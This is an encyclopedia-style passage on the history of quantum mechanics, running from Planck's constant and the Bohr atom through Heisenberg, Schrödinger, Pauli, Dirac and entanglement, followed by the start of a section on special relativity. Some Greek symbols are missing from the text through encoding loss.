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          Planck's constant originally represented the energy that a light wave carries as a function of its frequency. A step in the development of this concept appeared in Bohr's work. Bohr was using a "planetary" or particle model of the electron, and could not understand why a 2 factor was essential to his experimentally derived formulae. Later, de Broglie postulated that electrons have frequencies, just as do photons, and that the frequency of an electron must conform to the conditions for a standing wave that can exist in a certain orbit. That is to say, the beginning of one cycle of a wave at some point on the circumference of a circle (since that is what an orbit is) must coincide with the end of some cycle. There can be no gap, no length along the circumference that is not participating in the vibration, and there can be no overlap of cycles. So the circumference of the orbit, C, must equal the wavelength, , of the electron multiplied by some positive integer (n = 1, 2, 3...). Knowing the circumference one can calculate wavelengths that fit that orbit, and knowing the radius, r, of the orbit one can calculate its circumference. To put all that in mathematical form,


          
            	
              
                	[image: C = 2 \pi r = n \lambda \,\!]

              

            

          


          and so


          
            	
              
                	[image:  \lambda = 2 \pi r/n \,\!]

              

            

          


          and the appearance of the 2 factor is seen to occur simply because it is needed to calculate possible wavelengths (and therefore possible frequencies) when the radius of an orbit is already known.


          Again in 1925 when Werner Heisenberg developed his full quantum theory, calculations involving wave analysis called Fourier series were fundamental, and so the "reduced" version of Planck's constant (h/2) became invaluable because it includes a conversion factor to facilitate calculations involving wave analysis. Finally, when this reduced Planck's constant appeared naturally in Dirac's equation it was then given an alternate designation, "Dirac's constant." Therefore, it is appropriate to begin with an explanation of what this constant is, even though the theories that made its use convenient have yet to be discussed.


          As noted above, the energy of any wave is given by its frequency multiplied by Planck's constant. A wave is made up of crests and troughs. In a wave, a cycle is defined by the return from a certain position to the same position such as from the top of one crest to the next crest. A cycle actually is mathematically related to a circle, and both have 360 degrees. A degree is a unit of measure for the amount of turn needed to produce an arc of a certain length at a given distance. A sine curve is generated by a point on the circumference of a circle as that circle rotates. (See a demonstration at: Rotation Applet) There are 2 radians per cycle in a wave, which is mathematically related to the way a circle has 360 (which are equal to two  radians). (A radian is simply the angle if a distance along the circumference of the circle is measured equal to the radius of the circle, and then lines are drawn to the centre of the circle. This forms an angle equal to 1 radian.) Since one cycle is 2 radians, when h is divided by 2 the two "2 " factors will cancel out leaving just the radian to contend with. So, dividing h by 2 describes a constant that, when multiplied by the frequency of a wave, gives the energy in joules per radian. The reduced Planck's constant is written in mathematical formulas as ħ, and is read as "h-bar".
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          The reduced Planck's constant allows computation of the energy of a wave in units per radian instead of in units per cycle. These two constants h and ħ are merely conversion factors between energy units and frequency units. The reduced Planck's constant is used more often than h (Planck's constant) alone in quantum mechanical mathematical formulas for many reasons, one of which is that angular velocity or angular frequency is ordinarily measured in radians per second so using ħ that works in radians too will save a computation to put radians into degrees or vice-versa. Also, when equations relevant to those problems are written in terms of ħ, the frequently occurring 2 factors in numerator and denominator can cancel out, saving a computation. However, in other cases, as in the orbits of the Bohr atom, h/2 was obtained naturally for the angular momentum of the orbits. Another expression for the relation between energy and wave length is given in electron volts for energy and angstroms for wavelength: Ephoton (eV) = 12,400/()  it appears not to involve h at all, but that is only because a different system of units has been used and now, numerically, the appropriate conversion factor is 12,400.


          


          Bohr atom
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          In 1897 the particle called the electron was discovered. By means of the gold foil experiment physicists discovered that matter is, volume for volume, largely space. Once that was clear, it was hypothesized that negative charge entities called electrons surround positively charged nuclei. So at first all scientists believed that the atom must be like a miniature solar system. But that simple analogy predicted that electrons would, within about one hundredth of a microsecond, crash into the nucleus of the atom. The great question of the early 20th century was, "Why do electrons normally maintain a stable orbit around the nucleus?"


          In 1913, Niels Bohr removed this substantial problem by applying the idea of discrete (non-continuous) quanta to the orbits of electrons. This account became known as the Bohr model of the atom. Bohr basically theorized that electrons can only inhabit certain orbits around the atom. These orbits could be derived by looking at the spectral lines produced by atoms.


          Bohr explained the orbits that electrons can take by relating the angular momentum of electrons in each "permitted" orbit to the value of h, Planck's constant. He held that an electron in the lowest orbital has a discrete angular momentum equal to h/2. Each orbit after the initial orbit must provide for an electron's angular momentum being an integer multiple of that lowest value. He depicted electrons in atoms as being analogous to planets in a solar orbit. However, he took Planck's constant to be a fundamental quantity that introduces special requirements at this subatomic level and that explains the spacing of those "planetary" orbits.


          Bohr considered one revolution in orbit to be equivalent to one cycle in an oscillator (as in Planck's initial measurements to define the constant h) which is in turn similar to one cycle in a wave. The number of revolutions per second is (or defines) what we call the frequency of that electron or that orbital. Specifying that the frequency of each orbit must be an integer multiple of Planck's constant h would only permit certain orbits, and would also fix their size.


          Bohr generalized Balmer's formula for hydrogen by replacing denominator in the term 1/4 with an explicit squared variable:


          
            	[image: \frac{1}{\lambda} = R_\mathrm{H}\left(\frac{1}{m^2} - \frac{1}{n^2}\right),] m=1,2,3,4,5,..., and n > m

          


          where  is the wavelength of the light, RH is the Rydberg constant for hydrogen, and the integers n and m refer to the orbits between which electrons can transit. This generalization predicted many more line spectra than had been previously detected, and experimental confirmation of this prediction followed.


          It follows almost immediately that if  is quantized as the formula above indicates, then the momentum of any photon must be quantized. The frequency of light, , at a given wavelength  is given by the relationship
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            	E = h so [image: \lambda=\frac{hc}{E}] which we can rewrite as:
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          Beginning with line spectra, physicists were able to deduce empirically the rules according to which the orbits of electrons are determined and to discover something vital about the momentums involved  that they are quantized.


          Bohr next realized how the angular momentum of an electron in its orbit, L, is quantized, i.e., he determined that there is some constant value K such that when it is multiplied by Plancks constant, h, it will yield the angular momentum that pertains to the lowest orbital. When it is multiplied by successive integers it will then give the values of other possible orbitals. He later determined that K = 1/2 . (See the detailed argument at .)


          Bohr's theory represented electrons as orbiting the nucleus of an atom in a way that was amazingly different from what we see in the world of our everyday experience. He showed that when an electron changed orbits it did not move in a continuous trajectory from one orbit around the nucleus to another. Instead, it suddenly disappeared from its original orbit and reappeared in another orbit. Each distance at which an electron can orbit is a function of a quantized amount of energy. The closer to the nucleus an electron orbits, the less energy it takes to remain in that orbital. Electrons that absorb a photon gain a quantum of energy, so they jump to an orbit that is farther from the nucleus, while electrons that emit a photon lose a quantum of energy and so jump to an inner orbital. Electrons cannot gain or lose a fractional quantum of energy, and so, it is argued, they cannot have a position that is at a fractional distance between allowed orbitals. Allowed orbitals were designated as whole numbers using the letter n with the innermost orbital being designated n = 1, the next out being n = 2, and so on. Any orbital with the same value of n is called an electron shell.


          Bohr's model of the atom was essentially two-dimensional because it depicts electrons as particles in circular orbits. In this context, two-dimensional means something that can be described on the surface of a plane. One-dimensional means something that can be described by a line. Because circles can be described by their radius, which is a line segment, sometimes Bohr's model of the atom is described as one-dimensional.


          


          Wave-particle duality
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          Niels Bohr determined that it is impossible to describe light adequately by the sole use of either the wave analogy or of the particle analogy. Therefore he enunciated the principle of complementarity, which is a theory of pairs, such as the pairing of wave and particle or the pairing of position and momentum. Louis de Broglie worked out the mathematical consequences of these findings. In quantum mechanics, it was found that electromagnetic waves could react in certain experiments as though they were particles and in other experiments as though they were waves. It was also discovered that subatomic particles could sometimes be described as particles and sometimes as waves. This discovery led to the theory of wave-particle duality by Louis-Victor de Broglie in 1924, which states that subatomic entities have properties of both waves and particles at the same time.


          The Bohr atom model was enlarged upon with the discovery by de Broglie that the electron has wave-like properties. In accord with de Broglie's conclusions, electrons can only appear under conditions that permit a standing wave. A standing wave can be made if a string is fixed on both ends and made to vibrate (as it would in a stringed instrument). That illustration shows that the only standing waves that can occur are those with zero amplitude at the two fixed ends. The waves created by a stringed instrument appear to oscillate in place, simply changing crest for trough in an up-and-down motion. A standing wave can only be formed when the wave's length fits the available vibrating entity. In other words, no partial fragments of wave crests or troughs are allowed. In a round vibrating medium, the wave must be a continuous formation of crests and troughs all around the circle. Each electron must be its own standing wave in its own discrete orbital.


          


          Development of modern quantum mechanics


          


          Full quantum mechanical theory


          Werner Heisenberg made the full quantum mechanical theory in 1925 at the young age of 23. Following his mentor, Niels Bohr, Werner Heisenberg began to work out a theory for the quantum behavior of electron orbitals. Because electrons could not be observed in their orbits, Heisenberg went about creating a mathematical description of quantum mechanics built on what could be observed, that is, the light emitted from atoms in their characteristic atomic spectra. Heisenberg studied the electron orbital on the model of a charged ball on a spring, an oscillator, whose motion is anharmonic (not quite regular). For a picture of the behaviour of a charged ball on a spring see: Vibrating Charges. Heisenberg first explained this kind of observed motion in terms of the laws of classical mechanics known to apply in the macro world, and then applied quantum restrictions, discrete (non-continuous) properties, to the picture. Doing so causes gaps to appear between the predicted orbitals so that the mathematical description he formulated would then represent only the electron orbitals predicted on the basis of the atomic spectra.


          In approaching the problem that Bohr gave him to solve, Heisenberg took the strategic stance that he would not deal with unobservable quantities. He would begin formulating equations using only the quantities that could be observed. That strategy led him to begin with the actual experimental evidence at hand: Measurements had been well established for such data as (1) the frequencies (and the mathematically related energies) emitted or absorbed by electron transitions from one of the Bohr stationary orbits, known to be associated with the bright line spectra, (2) the "transition amplitude" or likelihood of transition from any given orbit to any given orbit, known from the strength of the various lines in the bright spectrum, etc. From classical formulas that would characterize those phenomena Heisenberg created analogous formulas that took account of quantum conditions. Formulas that followed from the fundamental decisions made at this point resulted in good results but results that were sometimes not what one might expect. In the paper wherein he introduced quantum mechanics to the world he cautions, "A significant difficulty arises, however, if we consider two quantities x(t), y(t), and ask after their product....Whereas in classical x(t)y(t) is always equal to y(t)x(t), this is not necessarily the case in quantum theory." When the predicted values are exhibited in matrix form and multiplications are performed, the nature of the difficulty appears in a form that is more familiar to mathematicians. More significantly, empirical studies validate the theoretical results and suggest that there is something of deep importance in that the difference between x(t)y(t) and y(t)x(t) is a value related to Planck's constant.


          Schema for a table of transition frequencies (produced when electrons change orbitals):


          
            
              	Electron States

              	S1

              	S2

              	S3

              	S4

              	S5

              	....

              	
            


            
              	S1

              	f11

              	f21

              	f31

              	f41

              	f51

              	.....

              	
            


            
              	S2

              	f12

              	f22

              	f32

              	f42

              	f52

              	.....

              	
            


            
              	S3

              	f13

              	f23

              	f33

              	f43

              	f53

              	.....

              	
            


            
              	S4

              	f14

              	f24

              	f34

              	f44

              	f54

              	.....

              	
            


            
              	S5

              	f15

              	f25

              	f35

              	f45

              	f55

              	.....

              	
            


            
              	S.....

              	.....

              	.....

              	.....

              	.....

              	.....

              	.....

              	
            

          


          Schema for a related table showing the transition amplitudes:


          
            
              	Electron States

              	S1

              	S2

              	S3

              	S4

              	S5

              	....

              	
            


            
              	S1

              	a11

              	a21

              	a31

              	a41

              	a51

              	.....

              	
            


            
              	S2

              	a12

              	a22

              	a32

              	a42

              	a52

              	.....

              	
            


            
              	S3

              	a13

              	a23

              	a33

              	a43

              	a53

              	.....

              	
            


            
              	S4

              	a14

              	a24

              	a34

              	a44

              	a54

              	.....

              	
            


            
              	S5

              	a15

              	a25

              	a35

              	a45

              	a55

              	.....

              	
            


            
              	S.....

              	.....

              	.....

              	.....

              	.....

              	.....

              	.....

              	
            

          


          As related above, Heisenberg developed ways of meaningfully relating the information in tables such as these in a mathematical way. Empirically filling in the values for tables involving quantum quantities is not a simple procedure since any measurement made on a single system gives that one value but has the potential of changing other values. So large numbers of identical copies of the system in question must be prepared, and a single measure made on each system. Multiple experiments to determine the same characteristics are made, and the results are averaged. Even then, precise measurements of all characteristics of the system as they would appear simultaneously cannot be provided because of quantum uncertainty. A precise determination of one characteristic's value necessarily creates an uncertainty in the value of its correlate. "Certain pairs of observables simply cannot be simultaneously measured to an arbitrarily high level of precision." If simultaneous measurements are made of correlated characteristics (such as position and momentum) in multiple identical systems, there will inevitably be differences in the measurements such that the difference between their products is equal to or greater than [image: \hbar]/2."


          In 1925 Heisenberg published a paper entitled "Quantum-mechanical re-interpretation of kinematic and mechanical relations" relating his discoveries. So ended the old quantum theory and began the age of quantum mechanics. Heisenberg's paper gave few details that might aid readers in determining how he actually contrived to get his results for the one-dimensional models he used to form the hypothesis that proved so useful. In his paper, Heisenberg proposed to "discard all hope of observing hitherto unobservable quantities, such as the position and period of the electron", and restrict himself strictly to actually observable quantities. He needed mathematical rules for predicting the relations actually observed in nature, and the rules he produced worked differently depending on the sequence in which they were applied. "It quickly became clear that the non-commutativity (in general) of kinematical quantities in quantum theory was the really essential new technical idea in the paper."


          The special type of multiplication that turned out to be required in his formula was most elegantly described by using special arrays of numbers called matrices. In ordinary situations it does not matter in which order the operations involved in multiplication are performed, but matrix multiplication does not commute. Essentially that means that it matters which order given operations are performed in. Multiplying matrix A by matrix B is not the same as multiplying matrix B by matrix A. In symbols, AB is in general not equal to BA. (The important thing in quantum theory is that it turned out to matter whether one experimentally measures velocity first and then immediately measures position, or vice-versa.) The matrix convention turned out to be a convenient way of organizing information and making clear the exact sequence in which calculations must be made, and it reflects in a symbolic form the unexpected results obtained in the real world.


          Heisenberg approached quantum mechanics from the historical perspective that treated an electron as an oscillating charged particle. Bohr's use of this analogy had already allowed him to explain why the radii of the orbits of electrons could only take on certain values. It followed from this interpretation of the experimental results available and the quantum theory that Heisenberg subsequently created that an electron could not be at any intermediate position between two "permitted" orbits. Therefore electrons were described as "jumping" from orbit to orbit. The idea that an electron might now be in one place and an instant later be in some other place without having traveled between the two points was one of the earliest indications of the "spookiness" of quantum phenomena. Although the scale is smaller, the "jump" from orbit to orbit is as strange and unexpected as would be a case in which someone stepped out of a doorway in London onto the streets of Los Angeles. Quantum tunneling is one instance in which electrons seem to be able to move in the "spooky" way that Heisenberg ascribed to their actions within atoms.


          Amplitudes of position and momentum that have a period of 2  like a cycle in a wave are called Fourier series variables. Heisenberg described the particle-like properties of the electron in a wave as having position and momentum in his matrix mechanics. When these amplitudes of position and momentum are measured and multiplied together, they give intensity. However, he found that when the position and momentum were multiplied together in that respective order, and then the momentum and position were multiplied together in that respective order, there was a difference or deviation in intensity between them of h/2. Heisenberg would not understand the reason for this deviation until two more years had passed, but for the time being he satisfied himself with the idea that the math worked and provided an exact description of the quantum behaviour of the electron.


          Matrix mechanics was the first complete definition of quantum mechanics, its laws, and properties that described fully the behaviour of the electron. It was later extended to apply to all subatomic particles. Very soon after matrix mechanics was introduced to the world, Schrdinger, acting independently, produced a quantum wave theory that appeared to have no similarities whatsoever to Heisenberg's theory. It was computationally easier and avoided some of the odd-sounding ideas like "quantum leaps" of an electron from one orbit to another. But within a short time Schrdinger himself had shown that the two theories produced essentially the same results in all situations. Finally, Dirac made the idea of non-commutativity central to his own theory and proved the formulations of Heisenberg and of Schrdinger to be special cases of his own theory.


          


          Schrdinger wave equation


          
            [image: Model of the Schrödinger atom, showing the nucleus with two protons (blue) and two neutrons (red), orbited by two electrons (waves)]
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          Because particles could be described as waves, later in 1925 Erwin Schrdinger analyzed what an electron would look like as a wave around the nucleus of the atom. Using this model, he formulated his equation for particle waves. Rather than explaining the atom by analogy to satellites in planetary orbits, he treated everything as waves whereby each electron has its own unique wavefunction. A wavefunction is described in Schrdinger's equation by three properties (later Wolfgang Pauli added a fourth). The three properties were (1) an "orbital" designation, indicating whether the particle wave is one that is closer to the nucleus with less energy or one that is farther from the nucleus with more energy, (2) the shape of the orbital, i.e., an indication that orbitals were not just spherical but other shapes, and (3) the magnetic moment of the orbital, which is a manifestation of force exerted by the charge of the electron as it rotates around the nucleus.


          These three properties were called collectively the wavefunction of the electron and are said to describe the quantum state of the electron. "Quantum state" means the collective properties of the electron describing what we can say about its condition at a given time. For the electron, the quantum state is described by its wavefunction, which is designated in physics by the Greek letter  (psi, pronounced "sigh"). The three properties of Schrdinger's equation that describe the wavefunction of the electron and, therefore, also describe the quantum state of the electron as described in the previous paragraph are each called quantum numbers. The first property that describes the orbital was numbered according to Bohr's model where n is the letter used to describe the energy of each orbital. This is called the principal quantum number. The next quantum number that describes the shape of the orbital is called the azimuthal quantum number and it is represented by the letter l (lower case L). The shape is caused by the angular momentum of the orbital. The rate of change of the angular momentum of any system is equal to the resultant external torque acting on that system. In other words, angular momentum represents the resistance of a spinning object to speed up or slow down under the influence of external force. The azimuthal quantum number "l" represents the orbital angular momentum of an electron around its nucleus. However, the shape of each orbital has its own letter as well. So for the letter "l" there are other letters to describe the shapes of "l". The first shape is spherical and is described by the letter s. The next shape is like a dumbbell and is described by the letter p. The other shapes of orbitals become more complicated (see Atomic Orbitals) and are described by the letters d, f, and g. For the shape of a carbon atom, see Carbon atom. The third quantum number of Schrdinger's equation describes the magnetic moment of the electron and is designated by the letter m and sometimes as the letter m with a subscript l because the magnetic moment depends upon the second quantum number l.


          In May 1926 Schrdinger published a proof that Heisenberg's matrix mechanics and his own wave mechanics gave equivalent results: mathematically they were the same theory. Yet both men disagreed on the interpretation of this theory. Heisenberg saw no problem in the existence of discontinuous quantum jumps, while Schrdinger hoped that a theory based on continuous wave-like properties could avoid this "nonsense about quantum jumps" (in the words of Wilhelm Wien ).


          


          Uncertainty principle


          In 1927, Heisenberg made a new discovery on the basis of his quantum theory that had further practical consequences of this new way of looking at matter and energy on the atomic scale. In Heisenberg's matrix mechanics formula, he encountered an error or difference of h/2 between position and momentum. The more certain the position of a particle is determined, the less certain the momentum is known, and h/2 is the lower limit of the uncertainty involved. This conclusion came to be called "Heisenberg's Indeterminacy Principle", or Heisenberg's Uncertainty Principle.


          For moving particles in quantum mechanics, there is simply a certain degree of exactness and precision that is missing. The observer can be precise when taking a measurement of position or can be precise when taking a measurement of momentum, but there is an inverse imprecision when measuring both at the same time as in the case of a moving particle like the electron. In the most extreme case, absolute precision of one variable would entail absolute imprecision regarding the other.


          Heisenberg, in a voice recording of an early lecture on the uncertainty principle pointing to a Bohr model of the atom, said:


          
            	"You can say, well, this orbit is really not a complete orbit. Actually at every moment the electron has only an inaccurate position and an inaccurate velocity and between these two inaccuracies there is this uncertainty relation. And only by this idea it was possible to say what such an orbit was."

          


          One consequence of the uncertainty principle was that the electron could no longer be considered as in an exact location in its orbital. Rather the electron had to be described by every point where the electron could possibly inhabit. Calculating points of probable location for the electron in its known orbital created the picture of a cloud of points in a spherical shape for the orbital of a hydrogen atom which points gradually faded out nearer to the nucleus and farther from the nucleus. This picture may be termed a probability distribution. Therefore, the Bohr atom number n for each orbital became known as an n-sphere in the three dimensional atom and was pictured as a probability cloud where the electron surrounded the atom all at once.


          This led to the further description by Heisenberg that if a measurement of the electron was not being taken that it could not be described in one particular location but was everywhere in the electron cloud at once. In other words, quantum mechanics cannot give exact results, but only the probabilities for the occurrence of a variety of possible results. Heisenberg went further and said that the path of a moving particle only comes into existence once we observe it. However strange and counter-intuitive this assertion may seem, quantum mechanics does still tell us the location of the electron's orbital, its probability cloud. Heisenberg was speaking of the particle itself, not its orbital which is in a known probability distribution.


          It is important to note that although Heisenberg used infinite sets of positions for the electron in his matrices, this does not mean that the electron could be anywhere in the universe. Rather there are several laws that show the electron must be in one localized probability distribution. An electron is described by its energy in Bohr's atom which was carried over to matrix mechanics. Therefore, an electron in a certain n-sphere had to be within a certain range from the nucleus depending upon its energy. This restricts its location. Also, the number of places an electron can be is also called "the number of cells in its phase space". The Uncertainty Principle set a lower limit to how finely one can chop up classical phase space, so the number of places that an electron can be in its orbital becomes finite. An electron's location in an atom is defined to be in its orbital, but stops at the nucleus and before the next n-sphere orbital begins.


          Classical physics had shown since Newton that if the position of stars and planets and details about their motions were known then where they will be in the future can be predicted. For subatomic particles, Heisenberg denied this notion showing that due to the uncertainty principle one cannot know the precise position and momentum of a particle at a given instant, so its future motion cannot be determined, but only a range of possibilities for the future motion of the particle can be described.


          These notions arising from the uncertainty principle only arise at the subatomic level and were a consequence of wave-particle duality. As counter-intuitive as they may seem, quantum mechanical theory with its uncertainty principle has been responsible for major improvements in the world's technology from computer components to fluorescent lights to brain scanning techniques.


          


          Wavefunction collapse


          Schrdinger's wave equation with its unique wavefunction for a single electron is also spread out in a probability distribution like Heisenberg's quantized particle-like electron. This is because a wave is naturally a widespread disturbance and not a point particle. Therefore, Schrdinger's wave equation has the same predictions made by the uncertainty principle because uncertainty of location is built into the definition of a widespread disturbance like a wave. Uncertainty only needed to be defined from Heisenberg's matrix mechanics because the treatment was from the particle-like aspects of the electron. Schrdinger's wave equation shows that the electron is in the probability cloud at all times in its probability distribution as a wave that is spread out. Max Born discovered in 1928 that when the square of Schrdinger's wavefunction (psi-squared) is computed the electron's location as a probability distribution is obtained. Therefore, to the extent that a measurement of the position of an electron can be made at an exact location instead of as a probability distribution, the electron appears to momentarily cease to have wave-like properties. Without wave-like properties, none of Schrdinger's definitions of the electron being wave-like makes sense. The measurement of the position of the particle nullifies the simple wave-like properties and the one body form of Schrdinger's equation then fails. Because the electron can no longer be described by its separate wavefunction when measured, due to its wave length becoming much shorter and its becoming entangled with the particles of the measuring apparatus, this is called wavefunction collapse.


          


          Eigenstates and eigenvalues


          The term eigenstate is derived from the German/Dutch word "eigen," which means "inherent" or "characteristic." The word eigenstate is descriptive of the measured state of some object that possesses quantifiable characteristics such as position, momentum, etc. The state being measured and described must be an " observable" (i.e. something that can be experimentally measured either directly or indirectly like position or momentum), and must have a definite value. In the everyday world, it is natural and intuitive to think of everything being in its own eigenstate. Everything appears to have a definite position, a definite momentum, a definite value of measure, and a definite time of occurrence. However, quantum mechanics affirms that it is impossible to pinpoint exact values for the momentum of a certain particle like an electron in a given location at a particular moment in time, or, alternatively, that it is impossible to give an exact location for such an object when the momentum has been measured. Due to the uncertainty principle, statements regarding both the position and momentum of particles can only be given in terms of a range of probabilities, a "probability distribution". Eliminating uncertainty in one term maximizes uncertainty in regard to the second parameter.


          Therefore it became necessary to have a way to clearly formulate the difference between the state of something that is uncertain in the way just described, such as an electron in a probability cloud, and effectively contrast it to the state of something that is not uncertain, something that has a definite value. When something is in the condition of being definitely "pinned-down" in some regard, it is said to possess an eigenstate. For example, if the position of an electron has been made definite, it is said to have an eigenstate of position.


          A definite value, such as the position of an electron that has been successfully located, is called the eigenvalue of the eigenstate of position. The German word "eigen" was first used in this context by the mathematician David Hilbert in 1904. Schrdinger's wave equation gives wavefunction solutions, meaning the possibilities where the electron might be, just as does Heisenberg's probability distribution. As stated above, when a wavefunction collapse occurs because something has been done to locate the position of an electron, the electron's state becomes an eigenstate of position, meaning that the position has a known value.


          


          The Pauli exclusion principle


          The Pauli Exclusion Principle states that no electron (or other fermion) can be in the same quantum state as another within an atom.


          Wolfgang Pauli developed the Exclusion Principle from what he called a "two-valued quantum degree of freedom" to account for the observation of a doublet, meaning a pair of lines, in the spectrum of the hydrogen atom. The observation meant that there was more energy in the electron orbital from magnetic moment than had previously been described. In early 1925, the young physicists Uhlenbeck and Goudsmit introduced a theory that the electron rotates in space in the same way that the earth rotates on its axis. This would account for the missing magnetic moment and allow for two electrons in the same orbital to be different if their spins were in opposite directions, thus satisfying the Exclusion Principle.


          According to Schrdinger's equation, there are three quantum states of the electron, but if two electrons can be in the same orbital, there has to be another quantum number (the two-valued quantum degree of freedom) to distinguish the two electrons from each other. A single electron cannot have the same four quantum numbers as another electron in the same atomic orbital. Where two electrons are in the same n-sphere and therefore share the same principal quantum number, they must then have some other unique quantum number of shape l, magnetic moment m or spin s. Where electrons are not in an orbital around the nucleus of an atom, such as in the formation of degenerate gases, they must still follow the Pauli Exclusion Principle when in a confined space.


          


          Dirac wave equation


          In 1928, Paul Dirac worked out a variation of the Schrdinger equation that accounted for a fourth property of the electron in its orbital. Paul Dirac introduced the fourth quantum number called the spin quantum number designated by the letter s to the new Dirac equation of the wavefunction of the electron. In 1930, Dirac combined Heisenberg's matrix mechanics with Schrdinger's wave mechanics into a single quantum mechanical representation in his Principles of Quantum Mechanics. The quantum picture of the electron was now complete.


          All of the above development of quantum theory was based mainly on the atomic spectrum of the hydrogen atom. This is due to the fact that each atom of each element produces a unique pattern of spectral lines when light from each different kind of element is passed through a prism. Scientists could not study the electron and nucleus of the atom itself because they cannot be seen. Even today with High-resolution Scanning Tunneling Electron Microscopes we can only get images of the atom as a blurry fuzzball. However, the spectral lines of the atom reveal the orbits of electrons and the energy that can be expected. It was basically this study of the spectroscopic analysis of first the hydrogen atom and then the helium atom that led to quantum theory. Therefore, the mathematical formulas were made to fit the picture of the atomic spectrum. That is why quantum mechanics is sometimes referred to as a form of mathematical physics.


          


          Quantum entanglement


          Albert Einstein rejected Heisenberg's Uncertainty Principle insofar as it seemed to imply more than a necessary limitation on human ability to actually know what occurs in the quantum realm. In a letter to Max Born in 1926, Einstein famously declared that "God does not play dice". The bare surface level prescription for making predictions from quantum mechanics, based on Born's rule for computing probabilities, became known as the Copenhagen Interpretation of quantum mechanics. Bohr spent many years developing and refining this interpretation in light of Einstein's objections. After the 1930 Solvay conference, Einstein never again challenged the Copenhagen interpretation on technical points, but did not cease a philosophical attack on the interpretation, on the grounds of realism and locality. Einstein, in trying to show that quantum theory was not a complete theory, recognized that the theory predicted that two or more particles that have interacted in the past can exhibit strong correlations when various measurements are made on them. He wanted this to be explained in a classical way through their common past, and preferably not by a "spooky action at a distance". The argument is worked out in a famous paper devoted to what is now called the EPR paradox (Einstein-Podolsky-Rosen, 1935). Assuming what is now usually called " local realism", the EPR attempts to show from quantum theory that particles simultaneously possess both position and momentum, while according to the Copenhagen interpretation, only one of these two properties only briefly exists, in the moment that it is being measured. Einstein considered this conclusion a proof that quantum theory was incomplete since it refuses to discuss physical properties which objectively exist in nature. The feature of quantum theory leading to these paradoxes is called quantum entanglement. It means that the properties of several separate objects cannot be described by considering them separately, even after taking account of the history of their past interaction. The 1935 paper of Einstein, Podolsky and Rosen is currently Einstein's most cited publication in physics journals.


          Bohr's original response to Einstein was that the particles were part of one indivisible system. Einstein's challenge led to decades of substantial research into quantum entanglement. The research would seem to confirm Bohr's objection that the two entangled particles must be viewed together as one whole, and moreover, that difficulties only arise by insisting on the reality of outcomes of measurements that are not made anyway. Moreover, God does throw dice, though rather peculiar ones. A real dice throw can be completely understood with classical mechanics, and the outcome is merely a function of the initial conditions. However the outcome of tossing quantum dice has no antecedent; no cause or explanation at all.


          


          Interpretations


          According to the correspondence principle and Ehrenfest's theorem as a system becomes larger or more massive ( action >> h ) the classical dynamics tends to emerge, with some exceptions, such as superfluidity. This is why we can usually ignore quantum mechanics when dealing with everyday objects; instead the classical description will suffice. Even so, trying to make sense of quantum theory is an ongoing process which has spawned a number of interpretations of quantum theory, ranging from the conventional Copenhagen Interpretation to hidden variables and many worlds. There seems to be no end in sight to the philosophical musings on the subject; however the empirical or technical success of the theory is unrivalled; all modern fundamental physical theories are quantum theories, relativity being subsumed within quantum field theories.
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          Special relativity is a fundamental physics theory about space and time that was developed by Albert Einstein in 1905 as a modification of Newtonian physics. It was created to deal with some pressing theoretical and experimental issues in the physics of the time involving light and electrodynamics (see History of special relativity for a detailed account). The predictions of special relativity correspond closely to those of Newtonian physics at speeds which are low in comparison to that of light, but diverge rapidly for speeds which are a significant fraction of the speed of light. Special relativity has been experimentally tested on numerous occasions since its inception, and its predictions have been verified by those tests.


          Einstein postulated that the speed of light is the same for all observers, irrespective of their motion relative to the light source. This was in total contradiction to classical mechanics, which had been accepted for centuries. Einstein's approach was based on thought experiments and calculations. In 1908, Hermann Minkowski reformulated the theory based on different postulates of a more geometrical nature. His approach depended on the existence of certain inter-relations between space and time, which were considered completely separate in classical physics. This reformulation set the stage for further developments of physics.


          Special relativity makes numerous predictions which are incompatible with Newtonian physics (and everyday intuition). The first such prediction described by Einstein is called the relativity of simultaneity, under which observers who are in motion with respect to each other may disagree on whether two events occurred at the same time or one occurred before the other. The other major predictions of special relativity are time dilation (under which a moving clock ticks more slowly than when it is at rest with respect to the observer), length contraction (under which a moving rod may be found to be shorter than when it is at rest with respect to the observer), and the equivalence of mass and energy (written as E=mc2). Special relativity predicts a non-linear velocity addition formula which prevents speeds greater than that of light from being observed. Special relativity also explains why Maxwell's equations of electromagnetism are correct in any frame of reference, and how electric field and magnetic field are two aspects of the same thing.


          Special relativity has been tested in many ways, and so far has been proved to be far more accurate than Newtonian mechanics. The most famous of these tests is the Michelson-Morley experiment, the failure of which was one of the things which motivated the creation of special relativity. Other significant tests are the Fizeau experiment (which was first done decades before special relativity was proposed), the detection of the transverse Doppler effect, and the Haefele-Keating experiment. Today, scientists are so comfortable with the idea that the speed of light is always the same that the meter is now defined as being the distance traveled by light in 1/299,792,458th of a second. This means that the speed of light is now defined as being 299,792,458 m/s.


          Invariance of length: the Euclidean picture
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          In special relativity, space and time are joined into a unified four-dimensional continuum called spacetime. To gain a sense of what spacetime is like, we must first look at the Euclidean space of Newtonian physics.


          This approach to the theory of special relativity begins with the concept of " length". In everyday experience, it seems that the length of objects remains the same no matter how they are rotated or moved from place to place; as a result the simple length of an object doesn't appear to change or is " invariant". However, as is shown in the illustrations below, what is actually being suggested is that length seems to be invariant in a three-dimensional coordinate system.


          The length of a line in a two-dimensional Cartesian coordinate system is given by Pythagoras' theorem:


          
            	[image: h^2 = x^2 + y^2. \,]

          


          One of the basic theorems of vector algebra is that the length of a vector does not change when it is rotated. However, a closer inspection tells us that this is only true if we consider rotations confined to the plane. If we introduce rotation in the third dimension, then we can tilt the line out of the plane. In this case the projection of the line on the plane will get shorter. Does this mean length is not invariant? Obviously not. The world is three-dimensional and in a 3D Cartesian coordinate system the length is given by the three-dimensional version of Pythagoras's theorem:


          
            	[image:  k^2 = x^2 + y^2 + z^2. \,]
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          This is invariant under all rotations. The apparent violation of invariance of length only happened because we were 'missing' a dimension. It seems that, provided all the directions in which an object can be tilted or arranged are represented within a coordinate system, the length of an object does not change under rotations. A 3-dimensional coordinate system is enough in classical mechanics because time is assumed absolute and independent of space in that context. It can be considered separately.


          Note that invariance of length is not ordinarily considered a dynamic principle, not even a theorem. It is simply a statement about the fundamental nature of space itself. Space as we ordinarily conceive it is called a three-dimensional Euclidean space, because its geometrical structure is described by the principles of Euclidean geometry. The formula for distance between two points is a fundamental property of a Euclidean space, it is called the Euclidean metric tensor (or simply the Euclidean metric). In general, distance formulas are called metric tensors.


